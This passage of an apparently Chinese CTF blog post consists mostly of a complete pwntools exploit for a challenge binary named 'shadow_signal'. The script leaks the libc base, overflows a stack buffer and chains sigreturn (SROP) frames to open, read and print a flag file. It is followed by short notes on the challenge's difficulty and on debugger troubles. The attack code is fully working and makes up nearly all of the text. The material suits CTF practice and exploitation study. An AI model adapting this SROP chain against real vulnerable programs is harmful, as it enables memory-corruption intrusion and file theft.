49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
context.log_level = "info"

BIN = args.BIN or "./shadow_signal_patched"
FLAG = args.FLAG.encode() if args.FLAG else b"flag"

elf = ELF(BIN, checksec=False)
libc = ELF("./libc.so.6", checksec=False)


def start():
    return process([elf.path])


def make_frame(rax, rdi, rsi, rdx, rsp, rip):
    frame = SigreturnFrame()
    frame.rax = rax
    frame.rdi = rdi
    frame.rsi = rsi
    frame.rdx = rdx
    frame.rsp = rsp
    frame.rip = rip
    return bytes(frame)


io = start()

gift = int(io.recvline_contains(b"gift").split()[-1], 16)
libc.address = gift - libc.sym["_IO_2_1_stdout_"]
log.info("libc base = %#x", libc.address)

pop_rax = libc.address + 0x45EB0
syscall = libc.address + 0x91316
restore_rt = libc.address + 0x42520

bss = 0x404060
stage = bss + 0x800
buf = bss + 0x1800
path = stage + 0x480

read_chain = stage + 0x180
write_chain = stage + 0x300

payload1 = p64(1)

payload2 = flat(
    b"a" * 0x110,
    0,
    restore_rt,
    make_frame(constants.SYS_read, 0, stage, 0x600, stage, syscall),
).ljust(0x500, b"\x00")

payload3 = flat(
    {
        0x000: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_open, path, 0, 0, read_chain, syscall),
        ),
        0x180: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_read, 3, buf, 0x200, write_chain, syscall),
        ),
        0x300: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_write, 1, buf, 0x200, stage + 0x580, syscall),
        ),
        0x480: FLAG + b"\x00",
    },
    length=0x600,
    filler=b"a",
)

io.send(payload1)
io.recvuntil(b"signal\n")
io.send(payload2)
io.send(payload3)

print(io.recvall(timeout=3).rstrip(b"\x00").decode(errors="replace"), end="")

emmm 这道题目有之前写过的类似题目打基础，因此感觉算是几个 pwn 当中最简单的一个了。

杂记：

做题当作遗留的一些小问题，之后再慢慢解决，先记录在这里

BizHawk 模拟器逃逸

准备开始写 EXP，看看动态调试：

额，似乎 pwndbg 和 gef 都不能进行动调

说些什么吧！

utterances